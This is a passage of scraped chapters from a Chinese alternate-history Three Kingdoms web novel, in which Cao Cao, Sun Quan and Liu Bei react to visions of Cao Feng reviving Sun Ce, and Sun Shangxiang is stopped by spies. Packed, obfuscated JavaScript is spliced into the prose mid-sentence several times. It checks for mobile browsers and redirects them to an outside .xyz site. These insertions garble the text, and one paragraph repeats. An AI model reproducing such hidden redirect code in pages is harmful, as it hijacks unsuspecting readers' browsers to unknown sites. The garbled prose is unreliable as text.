曹操抓起一个竹简砸向曹植,怒喝道:“曹风那个逆子得了传国玉玺,你高兴什么?!” 曹植张了张嘴想辩解,却被曹操的怒容吓得不敢出声。 他委屈地低下头,心道:三哥待我比亲兄弟曹丕待我还好。再说都是曹家人,三哥得到玉玺对家族总是好事。哪有父亲整天和儿子斗气的? 其实曹植与曹操的恩怨由来已久。 自从曹操杀了曹植的好友杨修,父子间就生了嫌隙。 后来卞夫人被关进大狱,更让曹植心生不满。 见曹植这副模样,曹操即生气,又无奈。他原本想要曹植继承大业,现在却犹豫了。 曹操担心刚传位,曹植就会投靠曹风。 曹操狠狠瞪了曹植一眼,转头继续观看天幕。 “孙策?!”曹操猛地直起身子。 这个曾经令他头疼的对手,居然也被曹风救活了! 曹操突然的喊声吓得曹植一哆嗦。 曹植从未见过父亲如此失态,心中暗叹:堂堂魏王竟被三哥搞得如此失态。看来这三哥的本事,远比我知道的还要强。 而曹风为了救活并拐走孙策所使出的种种手段,更是让曹植目瞪口呆。 曹操看到曹风将失忆的孙策送往边疆,这才稍稍安心。 若孙策此刻现身,足以改变天下格局。 以孙策曾经在江东的威望,振臂一呼就能召集旧部。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714429|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然孙权这些年在江东推行“去孙策化”,试图抹除兄长的影响力,但像周瑜这样的死忠依然存在。这些老将表面上服从孙权,心中却只念着旧主。 通过天幕,曹操终于对曹风有了更深刻的了解。他断定这些年曹风必定在暗中影响着失忆的孙策。以孙策重情义的性格,和曹风的精明…… 整个江东迟早会落入曹风手中! 就算江东不归曹风,孙策也必定会成为他最忠实的盟友。 想到这里,曹操心里一沉。他摸不准曹风什么时候会打出孙策这张牌。未知的威胁,才最让人防不胜防。 曹操下意识想找身边的谋士商议。 可原本站满顶尖谋士的位置,如今空无一人。 荀彧的心早就离他远去。那个曾被誉为“王佐之才”的男人,在听闻他要称魏王时,最后一次跪谏。荀彧当时的眼神混合着失望与决绝。 荀攸远在陈留,分身乏术。这位向来算无遗策的谋士,此刻正被田丰和沮授缠得脱不开身。 最信任的军师祭酒郭嘉早已病逝。每当想起他,曹操心头就隐隐作痛。那张带着病容却永远从容自信的面孔,再也见不到了。 贾诩、程昱转投曹风,这两个老狐狸的背叛最让他难以接受。 就连刘晔也叛离了。这个擅长器械的奇才,如今正在为敌人打造攻城利器。 董昭自虎牢关失守后便下落不明。 而**、钟繇自从帮他称王后,就像突然变迟钝了。两人的才智似乎全耗在了称王这件事上,如今已是燃尽了。 曹操长叹一声,前所未有的孤独感骤然袭来。这位纵横天下的枭雄,此刻竟也感到一丝迷茫。 曹操轻声道:“宁叫我负天下人,休叫天下人负我。” 曾经的豪言壮语,如今听来却有些讽刺。 曹操突然自问:“难道我真的错了?” 不!我曹操怎么会错! 错的——只能是他们!尤其是那个逆子曹风! 天下人负我,我就杀尽天下人! 曹操猛然抬头,死死盯着天幕!他倒要看看,曹风这个逆子还能折腾出什么花样来! 第144章 曹植:三哥,救我,快救救我! 曹风果然没让曹操失望,这次又折腾出新花样来了! 只是这手段却是令人啼笑皆非。 曹风竟然利用蚊虫老鼠逼得关云长不得不搬家,借此避开曹操监视关羽的视线。 “哼!”曹操嘴上依旧强硬:“这个逆子,净会耍些歪门邪道的把戏。” 曹操心里却懊悔不已。 为什么自己的聪明才智,大部分都遗传给了曹风这个逆子? 除了早亡的曹昂,和偷偷跑去找曹风的曹冲,其他几个儿子都只会耍些小聪明。 对了,还有个大聪明! 聪明过头的曹丕,现在正被关在大牢里。 曹操又看了一眼曹植,这个继承了他全部诗词才华的儿子。这个儿子平日里高谈阔论,头头是道,可一到关键时刻,却总是掉链子。 发现曹操正看着自己,曹植这次学乖了,紧紧闭着嘴不说话。可他那双盯着天幕中曹风的眼睛,活脱脱就是个狂热的小迷弟。 可曹植的表情和小心思哪能瞒过曹操? 曹操气得闷哼一声,随后又自我安慰道:“不能生气,生气伤身体。” 可接下来…… 当看到关羽竟然倾囊相授,认真教导曹风刀法时,曹操终于忍不住了。 “云长啊,你竟然是这样的云长!我对你那么好!可是你呢,你却把‘报答’全用在我那个逆子曹风身上了?!” “可恨!实在太可恨了!” 曹操气昏了头,竟忘了不久前华容道上,关羽才放了他一条生路。 曹操猛地转头看向曹植。 曹植吓得结结巴巴地说:“可、可恨!三哥确实可恨!” 见曹植这么说,曹操才没把火撒在他身上。 但曹操不知道的是,曹植心里还补了一句:“可恨的三哥,为什么不把我也带去凉州。三哥,救救我,快救救我啊!” 以前每当曹丕和他的党羽刁难曹植时,总是曹风出面解围。久而久之,曹植一遇到麻烦,就下意识想找三哥寻求庇护。 也因此,曹植遭受到了许多人的嘲笑。 以前每当曹丕和他的党羽刁难曹植时,总是曹风出面解围。久而久之,曹植一遇到麻烦,就下意识想找三哥帮忙。 也正因如此,曹植没少被人嘲笑。 可每次曹风都会找上门去,把那些嘲笑曹植的人再揍一顿,还霸气道:“弟弟找哥哥保护,有什么可笑的?当年我大哥曹昂也是这么护着我的!你们就是嫉妒我弟,没我这样的哥哥!” 想到这里,曹植心中更加委屈,“好好的一个家,就这么散了,都是你这个当爹的责任。” 天幕即将结束时。曹操悔恨交加:“早该听奉孝的话,彻底查查这个逆子!居然被他装出来的废物样子给骗了!” 建业城内。 孙权那双碧绿的眼睛死死盯着天幕,目光始终锁定在曹风手中的传国玉玺上! 这个让无数人拼上性命也要得到的传国玉玺,居然被曹风如此轻易就拿到了! 孙权既愤怒又不甘,碧绿的眼珠都泛起了血色。 当年他父亲孙坚就是为了这块玉玺丧命。 后来孙策为了换取兵权,又把它交给了袁术。 孙权脸上浮现狂热的神情。 这玉玺当年是孙策抵押出去的,要是他能从曹风手里抢回来,就证明自己比孙策更强,更有资格坐镇江东! 那些效忠孙策的旧部和士族,到时候就无话可说了。 想到这里,孙权炽热的目光落在地图上的合肥——这将是他超越孙策的第一步! 孙权一直活在孙策的阴影下。 从小到大,所有人的目光都被孙策吸引,根本没人注意他。 孙权很清楚,要不是孙策临终有交代,周瑜他们根本不会全力辅佐自己。更可能的是,他们会扶持孙策的儿子孙绍继承江东基业。 尤其是张昭,最可恨! 每次向他请教对策,开口闭口就是劝降! 孙策活着的时候,他怎么不劝孙策投降?! 孙权认定张昭就是看不起自己,只认旧主孙策! 就在孙权念叨大哥孙策时,孙策竟然出现在天幕画面中。 看到接下来的画面,孙权既震惊又恐慌。 他大哥孙策,居然还活着!被曹风给救活了! 孙权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722285|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中震惊不已。 他不仅震惊于曹风能救活孙策,更震惊于他竟然能瞒过所有人,把已经“**”的孙策偷偷带走! 孙权暗自庆幸,还好其他人都被他派去筹备军务了。最让他忌惮的周瑜,也带兵去征讨西川了。 孙权此时惶恐不安。 要是让部下们看到天幕内容,知道孙策还活着,他的地位将受到严重威胁。 这些年他在东吴的经营,也会分崩离析! 当天幕播放孙策被救醒后的画面时,孙权暗自松了一口气。 幸好孙策失忆了! 这样就算日后孙策突然出现,孙权也能推说是曹风找人假扮的。毕竟孙策记不得以前的事,没法证明自己的身份。 孙策还活着的消息,让孙权彻底没心思继续看天幕。 他决定明天就亲自出征合肥。如果此战告捷,他在江东的声望将达到前所未有的高度,孙策的威胁就会小很多。 但孙权也明白,周瑜是个例外。 他是孙策的结拜兄弟,死忠分子。 孙权眼中寒光一闪,必须加快削弱周瑜兵权的步伐。他暗自期盼,周瑜最好死在征讨西川的路上,这样能省去他很多麻烦。 此时的周瑜正率军在征讨西川的路上。他突然感到胸口一阵剧烈疼痛,猛地吐出一口鲜血,身形不稳,险些从马上摔下来。 幸好一旁的副将丁奉及时扶住了他。 孙权不知是有意还是无意,把原本与周瑜配合默契的将领全都留在了建业城,说是为他亲征合肥做准备。 最终,他只同意让丁奉——这个刚刚崭露头角的年轻将领,跟随周瑜出征西川。 “大都督……大都督!”丁奉见周瑜面色痛苦,双眼已经紧闭,连忙又呼喊道,“医官!医官快来!” 周瑜强撑着睁开眼,一把抓住丁奉的手,声音低沉道。 “承渊,别声张……免得动摇军心……” “背山扎营……先稳住阵脚……” 话未说完,周瑜又咳出一口鲜血,意识逐渐模糊,嘴唇微微颤抖着,仿佛在说梦话: “我好像……看见伯符大哥了……” 第145章 张飞:那年诸侯看我们哥俩如喽啰 荆州,南郡。 刘备和他的心腹们,刚刚在议事厅会见完之前说什么也不肯投效他的老将黄忠。 黄忠快言快语,开门见山地直接和众人说,曹风杀了他的恩人。如果刘备愿意借兵让他报仇,他愿意投效刘备麾下。 不过,黄忠听从了刘封的建议,在整个过程中,都没有说出恩人曹脩的名字,而是随便编了个名字代替。 诸葛亮不露声色的仔细观察黄忠的神情和言辞后,断定他与曹风确实有深仇大恨。 那种愤恨的情绪,是装不出来的。 从此也可以看出,黄忠是个知恩图报的人。 刘备这才放下心来,同意让黄忠领兵攻打上庸。同时,他对这位知恩图报的老将更加信任和敬佩。 黄忠离开后,原本消失的天幕画面,突然又在议事堂上方浮现。天幕播放的依旧是曹风的高光时刻。 张飞一边指着天幕,一边放声大笑:“可算来了!俺倒要看看,那曹风是不是又把他老子曹操给坑惨喽!” 刘备笑着虚点张飞:“翼德,你啊……” 可当天幕继续播放时,刘备的笑容突然僵在了脸上。 只见天幕中:曹风手捧传国玉玺,反复端详。那炽热的目光,仿佛在宣告:这传国玉玺已是他的战利品,他的私有之物。 刘备猛地拍案而起,怒指天幕中:“曹风竟敢私藏传国玉玺,竟不归还陛下!”他眼中满是怒火,声音陡然提高:“他意欲何为?莫非要做第二个袁公路?!此子可恨之极,人人得而诛之!” 诸葛亮摇晃着羽扇突然一顿,向刘备献策:“主公可将曹风私藏传国玉玺之事公告天下,同时上表天子命其归还。依亮之见,曹风必定不肯交出玉玺,届时我们便有正当理由讨伐他。” 刘备这才重新坐下,点头道:“就按军师说的办。命黄老将军与刘封立即发兵,攻打曹风新占的上庸。曹风比那曹操还要嚣张,还要可恶!真是曹贼生曹贼!” 就在此时,孙策的身影突然出现在天幕当中。 刘备心头一紧,突然想起之前天幕播放的画面——那些本该死去的人,只要曹风一出现,全被他救了下来。 刘备惊疑道:“难道……连孙伯符也被曹风救活了?!” 诸葛亮感叹道:“这曹风聪慧如妖,胆量大,行事又不按常理,实在让人捉摸不透。” 帐中众人面面相觑,心中疑惑更甚,只得继续紧盯天幕。 这些人,要数庞统看得最为专注。这是他第一次观看天幕内容。他心中暗道:“这曹风究竟有什么能耐,竟能让卧龙诸葛亮都如此惊叹?” 果然如刘备所料,孙策确实被曹风救活,但却失去了记忆。 众人陷入沉默,各有所思。 刘备率先开口,对诸葛亮和庞统说:“两位军师,若将孙策还活着的消息传出去,东吴必定大乱。这样他们就没精力来向我们讨要荆州了。你们看,是否要将这个消息散播出去?” 庞统摇头,率先回道:“孙刘联盟共抗曹操,东吴若乱,对我们并无益处。况且荆州乃四战之地,割让部分给孙权也非不可。主公不必执着于荆州,当以天下为重!如此方能复兴汉室!” 在荆州问题上,庞统与诸葛亮一直存在分歧。 与诸葛亮注重“跨有荆益”的战略布局不同,庞统更看重实际利益。 他认为同时保有荆州和益州会导致兵力分散,且荆州难以长期坚守,反而会拖累刘备发展。 不如放弃部分荆州利益换取与孙权的稳固合作,更有利于集中力量北伐曹操。 诸葛亮没有与庞统争论荆州的问题。他从另一个角度为刘备分析了利弊。 诸葛亮轻摇羽扇,“孙策还活着的消息绝不能外传。孙策性格刚烈,并非理想盟友。孙权贪图小利缺乏远见,反而更容易掌控。” 刘备想了想,才点头:“孙家的家事,就让他们自己处理吧。” 张飞看了眼刘禅,随后嚷嚷着:“儿子多,就是麻烦。还是大哥好,就……” 关羽连忙止住张飞,“三弟,不要胡言。” 庞统看完曹风救孙策的一连串操作,忍不住暗叹:“好家伙,还能这么玩?” 更让庞统心惊的是,曹风的声音越听越耳熟。 他一定在哪听过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722286|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个声音…… 想起来了! 是赤壁之战的时候! 庞统强压住内心的震惊,不动声色地继续和众人一起观看天幕。 当关羽看到自己出现在天幕上时,显得有些不自在。毕竟这个时代,没有照相和摄影技术。 张飞兴致勃勃地拉着关羽的胳膊,大笑道:“二哥!快看!那不是你吗?” 这也就是张飞,换作别人,关羽早就怒斥:“我又不瞎!还用你说?!” 看到天幕画面中,曹操千方百计拉拢关羽,关羽却始终不为所动,心里仍然惦记着大哥刘备。 想到当年在古城相聚时,自己还误会了关羽,张飞不禁笑着对关羽说:“二哥,真兄弟!” 众人也纷纷称赞关羽的义气。 尤其是刘备,要不是关羽一直护着他的两位夫人,她们恐怕早就遭到曹操的侮辱了。 关羽没有接话,表情隐隐有些尴尬。因为只有他自己知道,接下来的画面会是什么—— 他曾经教过曹风刀法。 果不其然。 看到关羽教授曹风刀法的画面,张飞不解地问:“二哥,你怎么还教曹风刀法?这家伙可是咱们的敌人。” 不等关羽回答,刘备先开口道:“我的两位夫人曾和我提过这件事情。这不是云长的错。曹风太过狡猾,竟然用了一个假的身份。” 刘备话锋一转,对关羽说:“不过二弟,此子有如此高超的射术和武艺,怎么可能只是个马弓手?你当时没怀疑过吗?” “没怀疑过。”关羽回答得很干脆,“当年酸枣会盟时,我也只是个普通的马弓手。” 刘备一时语塞,尴尬的笑了笑。 张飞没心没肺地大笑:“二哥说得对!那年我也还是站在大哥身后的步弓手呢。” “那些有眼无珠的诸侯,还以为咱哥俩是小喽啰。该着他们都没有好下场。” 刘备接过话茬,忽忆起往事,他笑着对关羽和张飞说:“那年我们连座位都没有。若不是两位兄弟相助,恐怕到现在我还是站着说话呢。” 原本尴尬的气氛顿时缓和了许多。 第146章 孙权作诗现场:吕蒙捧哏,鲁肃想跳江 数日后,曹操与曹风在虎牢关形成对峙之势。双方都按兵不动,抓紧时间整顿兵马,为即将到来的第二次官渡大战做着充分准备。 就在这紧张的氛围中,刘备和孙权的军队却开始频繁调动,天下的战局变得越发复杂起来。 孙权亲率十万大军直扑合肥。他几乎带走了东吴所有能征善战的名将。 孙权站在旗舰甲板上,望着浩荡的江面,碧眼中闪烁着志在必得的光芒。 熬了多少年了,自己终于等到了这一天。 这次出征,他誓要一战成名,攻占合肥,让天下人都知道东吴还有个至尊——他叫孙仲谋! 孙权特意命令船队从江夏经过,就是要向盘踞在那里的叛将凌统**。上次凌统叛变时,当众让孙权下不来台,这笔账他一直记在心里。这次,他就是要明目张胆地挑衅凌统,好把丢的面子都找回来。 船队顺流而下,让孙权感到意外的是,沿途竟未遭遇任何阻击。 孙权对身旁的甘宁笑道:“我原以为凌统那个叛将会从江夏出兵攻击我们,没想到他连水寨都不敢出,真是虎父犬子!” 甘宁嘴里斜叼着一根芦苇,腰间铜铃随着他的动作叮当作响。 即便已是一方将领,他仍改不掉当年锦帆贼的江湖**气:“至尊放心,凌统那小子要是敢来,我让他跟他爹一个下场!” 说着,甘宁抬手做了个拉弓射箭的动作,咧嘴一笑,“就像当年射死他爹凌操那样。” 孙权满意地点头:“既然他不敢来,就让他多活几天。等拿下合肥,再收拾这个叛徒也不迟。凌统真是鼠目寸光,居然投靠曹风那个毛头小子。” 当凌统被曹风招揽走后,孙权对曹风的恨意更深了。 曹风这小子,挖他老子曹操的墙角也就算了,现在居然挖到东吴头上来了。 又想到孙策也在曹风那边,孙权的杀意又浓了几分。 他孙权是何等人物?至尊眼里向来容不得半点沙子! 望着滚滚江水,孙权一挥衣袖,放声吟道:“十万截流去,合肥砺吴钩!六朝烟水阔,犹唱至尊功!哈哈,哈哈哈,哈哈哈哈哈!” 吕蒙挠了挠头,虽然没完全明白,但还是跟着拍手叫好。 看到孙权得意忘形的模样,鲁肃不自觉地皱起眉头,悄悄往后退了两步。 鲁肃被孙权吟诗尬得不行,甚至有一种想要跳江的冲动! 鲁肃在心里暗暗叹气:“这是什么诗……他还钩上了?!秋后算账的钩?我看还是赶紧撤军为妙。也不知公瑾那边如何了。” 此时,被孙权嘲讽的凌统正站在江夏水寨的哨塔上。他望着江面上渐行渐远的舰队黑影,迟迟不肯离开。 凌统知道,那是孙权的船队,甘宁也必定在其中某艘战船上。 想到这里,凌统的拳头不自觉地攥紧。 杀父仇人甘宁近在眼前,却不能出击,这种憋屈感让凌统胸口发闷。 李儒不知何时出现在凌统身后,“公绩,公子特意交代过,你若想现在就报仇,他不会阻拦。” 这位带着面具的灰衣谋士,望着滔滔江水,声音很平静,“公子还说,杀父之仇与杀母之仇一样,都是不共戴天之仇。毕竟你是公子任命的江夏太守,随意行事即可。” 凌统双眼通红,突然一拳重重砸在哨塔栏杆上,咬牙道:“为将者岂能因私废公!若坏了公子大事,我爹在九泉之下也要骂我!” 李儒伸出右手,关切地拍了拍凌统的肩膀。 若是凌统刚才决定出兵,落在他肩膀上的就会是那只藏着**的左手。 曹风能理解凌统的心情,但他李儒不理解! 李儒只在乎曹风的计划能否顺利执行。 只要凌统敢破坏布局,李儒会毫不犹豫地毒死他。哪怕事后被曹风责罚,李儒也在所不惜。 这就是他李儒的谋士之道! 见凌统仍在强压怒火,李儒从容一笑,语气笃定:“公绩,放心吧!纪灵将军的部队已经到了指定位置,孙权的退路已被切断。到时候……” “就让儒,再纵一次大火!送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726726|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们上路!”说到最后,李儒突然阴冷的大笑起来。 凌统刚因前半句话稍感安慰,却被李儒突如其来的笑声惊得打了个寒颤。 他心中佩服:“公子真是胆识过人,竟敢把这么危险的人物时刻带在身边。”转念又好奇:“公子就不怕被这面具人**误伤了?” “公绩,怎么了?”见凌统身体打了个哆嗦,李儒眯起眼睛问道。 “呃……江风有点冷。”凌统勉强干笑道。但他的身体已经本能地向旁边挪了半步,想要远离这个危险的面具谋士。 在曹风阵营中,不害怕李儒这个老毒物的,只有曹风和曹婴。 沉默片刻,凌统还是忍不住问道:“军师,公子有没有提过……如何处置甘宁?” 凌统的声音渐渐低了下去,他实在怕听到招降之类的回答。毕竟甘宁也是一员虎将,一般主公都不舍得杀。 孙权不就是这样一直留着甘宁么? 更让凌统无法接受的,孙权竟然还劝说他放下杀父之仇,与甘宁和解! 虽然从李儒先前的话语中,凌统多少能猜到曹风对甘宁的态度,但他仍想亲耳听到确切的答复。 李儒冰冷笑道:“公子从不食言!既然说要为你报仇,那甘宁就一定会死!” 凌统激动地想要朝西北方向行礼,李儒却用一本兵书按住他的手腕:“公子还说,见面时要考你兵法。若答不上来……” 李儒故意拖长声调,“公子也不会食言,绝对会惩罚你。” 凌统低头,郑重接过兵书,随即又苦着脸道:“上一本兵书的注解,我还没完全读懂,怎么又送来新的了?” “哈哈哈!”李儒大笑着甩袖离去。 凌统猛然想起孙家大小姐尚在江夏城中,他朝着远处江面上孙权的船队冷冷瞥了一眼,转身随李儒折返城中。 江夏城里,一个偏僻、整洁的小院中。 孙尚香无聊地擦着古锭刀,嘴里不满地嘟囔着:“凌小鱼这个家伙,真不靠谱。算了,本小姐自己去找曹风。” 第147章 孙尚香即将北上见曹风 孙尚香推开木门,迈步而出,余光却瞥见墙角蹲着一个衣衫破烂的老乞丐。 那乞丐身上的衣服已经看不出原本的颜色,补丁摞着补丁,膝盖处还破了个大洞。他蜷缩在墙角,像一团被人丢弃的破布,唯有那双眼睛亮得惊人。距离他腿脚不远处,横放着一根竹棍。 见孙尚香看过来,老乞丐咧开嘴笑了,露出仅剩的两颗黄褐色门牙。 “大清早的,真是晦气。”孙尚香小声嘀咕,但还是从腰间锦囊里取出一块碎银子。 银子在空中划出一道弧线,“叮”的一声落入乞丐面前的破碗当中。 老乞丐的眼睛顿时亮了起来。 他颤巍巍的从破碗中取出碎银子,对着阳光仔细端详了一会儿。 “姑娘留步……”乞丐喊住孙尚香,笑着道,“老叫花子看您面善,提醒您一句。现在转身回院子里去,还来得及。你若是再迈出几步,怕是要血溅当场喽。” 孙尚香闻言,右手按上了腰间的古锭刀。“本小姐五岁习武,九岁就能拉开二石弓,还怕什么宵小之徒?" 老乞丐摇摇头,不再多言,只是靠在斑驳的墙面上,哼起了一首古怪的小调。 那调子忽高忽低,像是某种不知名的童谣,又像是某种暗号。 孙尚香继续向前走去。 刚走出十几步,一个挑着扁担的小贩突然从巷口转出来,挡在她面前。 “小姐,买张蒸饼吧!刚出锅的,热乎着呢!”小贩满脸堆笑,揭开扁担一头的蒸笼,顿时白雾升腾。 孙尚香想到自己此行北上寻找曹风,路途遥远,确实需要备些干粮。于是,她随手又掏出一块碎银子抛给小贩:“来三张。” “好嘞!”小贩眉开眼笑,麻利地包好三张蒸饼。 就在孙尚香伸手要接的刹那,一声暴喝突然从身后传来: “有毒!别接!” 声音很熟悉,孙尚香伸出的手停在了半空。 只见凌统不知何时已经赶到,正从街角飞奔而来。 那小贩脸色骤变,原本谄媚的笑容瞬间扭曲成狰狞的表情。 他猛地掀翻扁担,蒸笼“咣当”一声砸在地上,也不心疼撒落了一地的蒸饼。 他双手各握着一把**,朝孙尚香心口刺去! 孙尚香本能地后撤半步,避过这致命一击。 还没等她稳住身形,耳边又传来“呼呼”的风声。 她急忙转身,古锭刀都来不及出鞘,顺势撩开一根乌黑的竹棍。 竹棍另一端,赫然是方才那个老乞丐!他将孙尚香的退路已经完全封死。 凌统此时已经来到孙尚香身旁,一把按住她正要出鞘的古锭刀。 “别动手!”凌统低声道。 随即,他分别向那两人,抱拳行礼:“两位,在下凌统,还请高抬贵手。我这就带她回院子,保证不再出来。” 老乞丐和小贩没有答话,而是不约而同地看向不远处。 那里有个五六岁模样的孩童,正背对着他们蹲在地上玩泥巴。 可当那“孩童”慢悠悠转过头来,却是一张成年男子的脸! “咯咯咯……”孩童嘴角还挂着一丝诡异的笑容:“既然凌大人开口了,这个面子我们得给。立刻让她回去!” 他用沾满泥巴的手指点了点孙尚香,“‘罪’大人吩咐过,这位东吴大小姐敢踏出院门,就按照奸细处理。” 凌统当然知道“罪”是谁。就是那个永远戴着面具的军师,曹风的亲信。 原来孙尚香这个隐蔽的院落早就被对方发现了!说明他们的一举一动也都在面具军师监视之下。 凌统心中震惊于曹风建立的情报网。与之相比,孙权的情报系统如同儿戏。 “凌小鱼!”孙尚香不满地扯了扯凌统的袖子,“你什么时候变得这么胆小了?就这三个装神弄鬼的家伙,我一个人就能解决!” 凌统苦笑着摇头:“大小姐,这里可不是江东。若是惹怒了那位面具军师,就算搭上我这条命也保不住你。” 就在气氛剑拔**张之际,一阵清脆如银铃的笑声,突然从上方传来。 众人看去,只见墙头上不知何时坐了个红衣少女。 她约莫十七八岁年纪,火红的裙摆随风轻扬,面上罩着层薄纱,只露出一双灵动的眼睛。 “小泥人~”红衣少女晃着双腿,笑着道:“两年不见,你还是这么喜欢玩泥巴呀?都当上小头目啦?” 那“孩童”闻言立即起身,恭恭敬敬地行了个大礼:“拜见红鸢姐姐。” 老乞丐和小贩也赶紧躬身:“见过红鸢大人。” “少来这套!”被称作红鸢的少女做了个鬼脸,“你都四十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732916|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多岁的人了,管我叫姐姐?欠揍了是不是?” “孩童”尴尬地用泥手挠头,“您既然来了,那''魅''大人是不是也……” 话音未落,巷口突然传来急促的马蹄声。 两辆马车一前一后驶来,稳稳停在巷口。 第一辆马车的车帘掀起,走出一位戴着面具的文士,正是李儒。 李儒环视一周,轻轻挥了挥手。 街道两旁的阴影处、屋顶上,商铺中,陆续走出十几人。 原来暗中看守孙尚香的远不止眼前三人! 这些人齐齐向李儒行礼,然后很快退去。 第二辆马车的车夫是个身着青衣的年轻女子。她放下马鞭,掀开车帘。 车中人探出身来,是一位美得令人窒息的女子。目似秋水,一颦一笑都带着摄人心魄的魅力。 “魅大人。”李儒微微颔首。 魅缓步下车,将一卷手札递给李儒:“李大人,这是公子手谕。请过目。” 李儒仔细查验后点点头,转身上车离去。既然曹风信中都说孙尚香不是奸细,他也没必要再监视孙尚香了。 此时红鸢早已从墙头跃下,和青衫女子一左一右站在魅身后——这正是魅最得力的两个助手:红鸢与青鸾。 魅的目光落在凌统身上,唇角勾起一抹浅笑:“凌将军,公子常说,江东子弟中,唯你最得他赏识。” 凌统连忙抱拳行礼:“公子谬赞了,凌统愧不敢当。” 然而下一秒,他的表情就凝固了。 只见魅又取出一卷竹简,轻轻放在他手中。“这是公子让麾下的谋士和将领共同批注的兵法。” 魅的眼中带着笑意,“可不要辜负了公子的好意。能翻看这兵法的,除了公子亲传弟子邓士载,也就只有你了。” 凌统苦着脸,收起兵法,心道:不是吧,又来?! 魅拉起孙尚香的手,仔细端详其人。 “不愧是公子称赞的''弓腰姬''。”魅的声音温柔似水,“果然英姿飒爽,与众不同。” 孙尚香眼前一亮,脱口而出:“仙女姐姐,是曹风让你来接我的吗?” 魅闻言不禁莞尔:“我可不是什么仙女。” 她眨了眨眼,低声道:“不过公子身边,倒真有一位仙女般的人物呢……” 第148章 曹风:黄老将军,可还识得谯县曹脩否? 魅提到的那位仙女儿——张嫣,此刻正骑着马与曹风并肩而行。 张嫣眉头微皱,目光落在曹风腰间挂着的那副鬼王面具上。那面具做工精细,青面獠牙,很有特点。 她语气平静地问道:“曹风,你去上庸到底要做什么?” 曹风咧嘴一笑,露出玩世不恭的表情:“去上庸见一位‘老’朋友。” “你还想骗我?”张嫣轻轻摇头,一缕青丝随风飘动,“我看你又是去跟人拼命,而且是很危险的那种。” 张嫣指着那副面具说:“我见过你戴过五次这个面具。每次看到它,就意味着你要去做不要命的事。” “第一次是在宛城之战。为了给你大哥报仇,你单枪匹马杀进胡车儿的营寨。你浑身是血地伏在马背上回来。要不是黑子通灵性把你驮回来,再加上华佗的医术,你早就没命了。” 曹风辩解道:“那次我根本不会死,有大哥在天之灵保佑。” 他抬头望了望天空,忽然话锋一转,“对了,你说修炼仙术真能羽化飞升吗?要是可以,你也教教我呗?” “你没这个天赋。”张嫣冷冷地瞥了他一眼,毫不客气地回绝。 张嫣突然意识到被带偏了话题,脸上难得露出愠色:“别打岔!第二次你戴着面具,单枪匹马杀进胡人的骑兵队救出马云禄。那次你也受伤了。” 曹风无奈摊手道:“那是杀得太激动,不小心咬破嘴唇,这也算受伤?” 张嫣轻哼一声,没理会他的狡辩,继续说道:“那白狼山的那次呢?你和张辽带着不到一千人就敢冲击乌桓数万大军。我记得你回来时,铠甲上插着七支箭,还能笑着说‘乌桓人的箭法真差''。” 曹风一边催促战马黑子加快速度,一边摊手道:“这次真是去见老朋友。就凭徐荣那张嘴,我要是去晚了,他肯定跟我那老朋友打起来。” 徐荣在截杀曹仁派往支援虎牢关的援军后,已率军撤回上庸。而田丰和沮授没有返回,这两人分别作为赵云和马超的军师,继续在前线与荀攸周旋,誓要报官渡之仇。 …… 就在孙权发兵攻打合肥的同时,作为盟友的刘备,也开始调兵遣将。两路大军同时出击,给曹氏势力施压。 